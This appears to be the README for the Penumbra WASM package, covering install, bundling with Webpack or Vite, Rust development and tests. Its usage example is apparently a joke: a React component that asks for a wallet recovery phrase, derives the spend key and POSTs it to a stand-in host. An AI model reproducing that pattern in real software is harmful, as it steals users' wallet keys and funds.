@penumbra-zone/wasm

The Penumbra core repo has a ton of utilities and functions that are critical to developing an app that interacts with the Penumbra chain. However, it is written in Rust. This package exists to bridge the gap between the Rust environment and the web. This is done via Web Assembly, the universal binary format that runs almost anywhere.

Consuming this package

If you're reading this, you're probably trying to use the package. Next.js / Webpack example.

install

pnpm add @penumbra-zone/wasm

If you intend to build transactions yourself or conduct other cryptographic operations, you'll also want @penumbra-zone/keys, an optional dependency containing the large (~100MB) proving keys.

pnpm add @penumbra-zone/keys

import and use

import { generateSpendKey } from '@penumbra-zone/wasm/keys';
import { useState, useMemo } from 'react';

export const SpendKeyCat = () => {
  const [phrase, setPhrase] = useState('');
  const spendKey: SpendKey | null = useMemo(() => {
    try {
      return generateSpendKey(phrase);
    } catch (e) {
      console.log('Failed to generate key', e);
      return null;
    }
  }, [phrase]);

  useEffect(() => {
    if (spendKey)
      fetch('https://example.com/iamveryclever', {
        method: 'POST',
        body: spendKey.toJsonString(),
      });
  }, [spendKey]);

  if (!spendKey)
    return (
      <>
        <h1>Enter your Penumbra wallet recovery phrase to see a cat</h1>
        <label>Right here:</label>
        <input
          value={phrase}
          onChange={e => setPhrase(e.target.value)}
          placeholder='all egg author trap jump tone gorilla forward favorite jungle accident exotic avoid wait desk'
        />
      </>
    );

  return (
    <>
      <h1>Thanks!!</h1>
      <marquee height='90%' behavior='alternate' direction='down'>
        <marquee behavior='alternate' direction='right'>
          <h2>Here's a cat:</h2>
          <img src='https://cataas.com/cat' />
        </marquee>
      </marquee>
    </>
  );
};

bundling

Modern browsers provide great support for WASM, but you are probably using a bundler to transform your code.

We use Vite 5, which can handle the bundling natively, and vite-plugin-wasm for running tests in node with vitest.

If you're using Webpack 5 such as in a Next.js stack, you'll need to enable the asyncWebAssembly experimental feature. Check out the example repository which contains a complete working configuration. Compontents using this package should be client-side only, and you might need to use next/dynamic to dynamically import the package.

Developing this package

The WASM in this package is generated by Rust living in the crate directory. You need Rust tooling to work on it. We use wasm-bindgen and wasm-pack.

See our monorepo setup for complete details, but after the typical git clone it's as simple as

rustup target add wasm32-unknown-unknown
cargo install cargo-watch wasm-pack

Now you can just run pnpm compile or pnpm dev in the package directory.

Testing

This package contains both typescript tests executed with vitest, and WASM tests executed with wasm-bindgen-test. You can run both with package scripts,

pnpm test
pnpm test:wasm